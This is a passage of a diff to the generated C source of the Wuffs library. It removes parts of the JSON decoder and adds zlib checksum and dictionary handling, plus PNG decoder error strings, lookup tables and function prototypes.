(((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 4356u; +- v_expect_after_value = 4356u; +- } else { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2113570u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 4164u; +- v_expect_after_value = 4164u; +- } +- goto label__outer__continue; +- } else if (v_class == 9u) { +- v_match = wuffs_base__io_reader__match7(iop_a_src, io2_a_src, a_src, 111546413966853u); +- if (v_match == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(8388612u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(5u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (((uint64_t)(io2_a_src - iop_a_src)) < 5u) { +- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- iop_a_src += 5u; +- break; +- } else if (v_match == 1u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(19); +- goto label__outer__continue; +- } +- } else if (v_class == 10u) { +- v_match = wuffs_base__io_reader__match7(iop_a_src, io2_a_src, a_src, 435762131972u); +- if (v_match == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(8388616u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- iop_a_src += 4u; +- break; +- } else if (v_match == 1u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(20); +- goto label__outer__continue; +- } +- } else if (v_class == 11u) { +- v_match = wuffs_base__io_reader__match7(iop_a_src, io2_a_src, a_src, 465676103172u); +- if (v_match == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(8388610u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- iop_a_src += 4u; +- break; +- } else if (v_match == 1u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(21); +- goto label__outer__continue; +- } +- if (self->private_impl.f_quirks[14u]) { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); +- status = wuffs_json__decoder__decode_inf_nan(self, a_dst, a_src); +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- break; +- } +- } else if (v_class == 12u) { +- if (self->private_impl.f_quirks[11u] || self->private_impl.f_quirks[12u]) { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); +- status = wuffs_json__decoder__decode_comment(self, a_dst, a_src); +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- if (self->private_impl.f_comment_type > 0u) { +- goto label__outer__continue; ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); + } + } ++ self->private_impl.f_dict_id_want = t_1; + } +- status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ status = wuffs_base__make_status(wuffs_zlib__note__dictionary_required); ++ goto ok; ++ } else if (self->private_impl.f_got_dictionary) { ++ status = wuffs_base__make_status(wuffs_zlib__error__incorrect_dictionary); + goto exit; + } +- if (v_depth == 0u) { +- break; ++ } else if (self->private_impl.f_dict_id_have != self->private_impl.f_dict_id_want) { ++ if (self->private_impl.f_got_dictionary) { ++ status = wuffs_base__make_status(wuffs_zlib__error__incorrect_dictionary); ++ goto exit; + } +- v_expect = v_expect_after_value; ++ status = wuffs_base__make_status(wuffs_zlib__note__dictionary_required); ++ goto ok; + } +- label__outer__break:; +- if (self->private_impl.f_quirks[17u] || self->private_impl.f_quirks[18u]) { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ self->private_impl.f_header_complete = true; ++ while (true) { ++ v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_deflate__decoder__transform_io(&self->private_data.f_flate, a_dst, a_src, a_workbuf); ++ v_status = t_2; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } + } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if ( ! self->private_impl.f_ignore_checksum && ! self->private_impl.f_quirks[0u]) { ++ v_checksum_have = wuffs_adler32__hasher__update_u32(&self->private_data.f_checksum, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); +- status = wuffs_json__decoder__decode_trailer(self, a_dst, a_src); +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; + } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ } ++ if ( ! self->private_impl.f_quirks[0u]) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)); ++ } ++ } ++ v_checksum_want = t_3; + } +- if (status.repr) { +- goto suspend; ++ if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != v_checksum_want)) { ++ status = wuffs_base__make_status(wuffs_zlib__error__bad_checksum); ++ goto exit; + } + } +- self->private_impl.f_end_of_data = true; + +- ok: +- self->private_impl.p_decode_tokens[0] = 0; +- goto exit; +- } ++ ok: ++ self->private_impl.p_do_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_transform_io.v_checksum_have = v_checksum_have; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_png__error__bad_animation_sequence_number[] = "#png: bad animation sequence number"; ++const char wuffs_png__error__bad_checksum[] = "#png: bad checksum"; ++const char wuffs_png__error__bad_chunk[] = "#png: bad chunk"; ++const char wuffs_png__error__bad_filter[] = "#png: bad filter"; ++const char wuffs_png__error__bad_header[] = "#png: bad header"; ++const char wuffs_png__error__bad_text_chunk_not_latin_1[] = "#png: bad text chunk (not Latin-1)"; ++const char wuffs_png__error__missing_palette[] = "#png: missing palette"; ++const char wuffs_png__error__truncated_input[] = "#png: truncated input"; ++const char wuffs_png__error__unsupported_cgbi_extension[] = "#png: unsupported CgBI extension"; ++const char wuffs_png__error__unsupported_png_compression_method[] = "#png: unsupported PNG compression method"; ++const char wuffs_png__error__unsupported_png_file[] = "#png: unsupported PNG file"; ++const char wuffs_png__error__internal_error_inconsistent_i_o[] = "#png: internal error: inconsistent I/O"; ++const char wuffs_png__error__internal_error_inconsistent_chunk_type[] = "#png: internal error: inconsistent chunk type"; ++const char wuffs_png__error__internal_error_inconsistent_workbuf_length[] = "#png: internal error: inconsistent workbuf length"; ++const char wuffs_png__error__internal_error_zlib_decoder_did_not_exhaust_its_input[] = "#png: internal error: zlib decoder did not exhaust its input"; ++ ++// ---------------- Private Consts ++ ++#define WUFFS_PNG__ANCILLARY_BIT 32u ++ ++static const uint8_t ++WUFFS_PNG__INTERLACING[8][6] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ { ++ 0u, 0u, 0u, 0u, 0u, 0u, ++ }, { ++ 3u, 7u, 0u, 3u, 7u, 0u, ++ }, { ++ 3u, 3u, 4u, 3u, 7u, 0u, ++ }, { ++ 2u, 3u, 0u, 3u, 3u, 4u, ++ }, { ++ 2u, 1u, 2u, 2u, 3u, 0u, ++ }, { ++ 1u, 1u, 0u, 2u, 1u, 2u, ++ }, { ++ 1u, 0u, 1u, 1u, 1u, 0u, ++ }, { ++ 0u, 0u, 0u, 1u, 0u, 1u, ++ }, ++}; ++ ++static const uint8_t ++WUFFS_PNG__LOW_BIT_DEPTH_MULTIPLIERS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 255u, 85u, 0u, 17u, 0u, 0u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_PNG__LOW_BIT_DEPTH_NUM_PACKS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 8u, 4u, 0u, 2u, 0u, 0u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_PNG__NUM_CHANNELS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1u, 0u, 3u, 1u, 2u, 0u, 4u, 0u, ++}; ++ ++static const uint16_t ++WUFFS_PNG__LATIN_1[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 32u, 33u, 34u, 35u, 36u, 37u, 38u, 39u, ++ 40u, 41u, 42u, 43u, 44u, 45u, 46u, 47u, ++ 48u, 49u, 50u, 51u, 52u, 53u, 54u, 55u, ++ 56u, 57u, 58u, 59u, 60u, 61u, 62u, 63u, ++ 64u, 65u, 66u, 67u, 68u, 69u, 70u, 71u, ++ 72u, 73u, 74u, 75u, 76u, 77u, 78u, 79u, ++ 80u, 81u, 82u, 83u, 84u, 85u, 86u, 87u, ++ 88u, 89u, 90u, 91u, 92u, 93u, 94u, 95u, ++ 96u, 97u, 98u, 99u, 100u, 101u, 102u, 103u, ++ 104u, 105u, 106u, 107u, 108u, 109u, 110u, 111u, ++ 112u, 113u, 114u, 115u, 116u, 117u, 118u, 119u, ++ 120u, 121u, 122u, 123u, 124u, 125u, 126u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 41410u, 41666u, 41922u, 42178u, 42434u, 42690u, 42946u, ++ 43202u, 43458u, 43714u, 43970u, 44226u, 44482u, 44738u, 44994u, ++ 45250u, 45506u, 45762u, 46018u, 46274u, 46530u, 46786u, 47042u, ++ 47298u, 47554u, 47810u, 48066u, 48322u, 48578u, 48834u, 49090u, ++ 32963u, 33219u, 33475u, 33731u, 33987u, 34243u, 34499u, 34755u, ++ 35011u, 35267u, 35523u, 35779u, 36035u, 36291u, 36547u, 36803u, ++ 37059u, 37315u, 37571u, 37827u, 38083u, 38339u, 38595u, 38851u, ++ 39107u, 39363u, 39619u, 39875u, 40131u, 40387u, 40643u, 40899u, ++ 41155u, 41411u, 41667u, 41923u, 42179u, 42435u, 42691u, 42947u, ++ 43203u, 43459u, 43715u, 43971u, 44227u, 44483u, 44739u, 44995u, ++ 45251u, 45507u, 45763u, 46019u, 46275u, 46531u, 46787u, 47043u, ++ 47299u, 47555u, 47811u, 48067u, 48323u, 48579u, 48835u, 49091u, ++}; ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_4_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3_distance_4_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_3_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_4_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_3_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_4_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_2( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +- goto suspend; +- suspend: +- self->private_impl.p_decode_tokens[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; +- self->private_data.s_decode_tokens[0].v_depth = v_depth; +- self->private_data.s_decode_tokens[0].v_expect = v_expect; +- self->private_data.s_decode_tokens[0].v_expect_after_value = v_expect_after_value; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3_distance_3_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +-// -------- func json.decoder.decode_number ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3_distance_4_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + + WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_json__decoder__decode_number( +- wuffs_json__decoder* self, +- wuffs_base__io_buffer* a_src) { +- uint8_t v_c = 0; +- uint32_t v_n = 0; +- uint32_t v_floating_point = 0; ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +- do { +- v_n = 0u; +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if ( ! (a_src && a_src->meta.closed)) { +- v_n |= 768u; +- } +- break; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (v_c != 45u) { +- } else { +- v_n += 1u; +- iop_a_src += 1u; +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if ( ! (a_src && a_src->meta.closed)) { +- v_n |= 768u; +- } +- v_n |= 256u; +- break; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- } +- if (v_c == 48u) { +- v_n += 1u; +- iop_a_src += 1u; +- } else { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (v_n > 99u) { +- break; +- } +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if ( ! (a_src && a_src->meta.closed)) { +- v_n |= 768u; +- } +- break; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (v_c != 46u) { +- } else { +- if (v_n >= 99u) { +- v_n |= 512u; +- break; +- } +- v_n += 1u; +- iop_a_src += 1u; +- v_floating_point = 128u; +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (v_n > 99u) { +- break; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if ( ! (a_src && a_src->meta.closed)) { +- v_n |= 768u; +- } +- break; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- } +- if ((v_c != 69u) && (v_c != 101u)) { +- break; +- } +- if (v_n >= 99u) { +- v_n |= 512u; +- break; +- } +- v_n += 1u; +- iop_a_src += 1u; +- v_floating_point = 128u; +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if ( ! (a_src && a_src->meta.closed)) { +- v_n |= 768u; +- } +- v_n |= 256u; +- break; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if ((v_c != 43u) && (v_c != 45u)) { +- } else { +- if (v_n >= 99u) { +- v_n |= 512u; +- break; +- } +- v_n += 1u; +- iop_a_src += 1u; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } while (0); +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- return (v_n | v_floating_point); +-} ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_3_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + +-// -------- func json.decoder.decode_digits ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_4_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_json__decoder__decode_digits( +- wuffs_json__decoder* self, ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_4_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3_distance_4_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_3_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_4_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__do_decode_image_config( ++ wuffs_png__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_ihdr( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__assign_filter_distance( ++ wuffs_png__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint64_t ++wuffs_png__decoder__calculate_bytes_per_row( ++ const wuffs_png__decoder* self, ++ uint32_t a_width); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__choose_filter_implementations( ++ wuffs_png__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_other_chunk( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src, +- uint32_t a_n) { +- uint8_t v_c = 0; +- uint32_t v_n = 0; ++ bool a_framy); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_actl( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_chrm( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_exif( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_fctl( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_gama( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_iccp( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_plte( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_srgb( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_trns( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__do_decode_frame_config( ++ wuffs_png__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__skip_frame( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__do_decode_frame( ++ wuffs_png__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__decode_pass( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__do_tell_me_more( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* 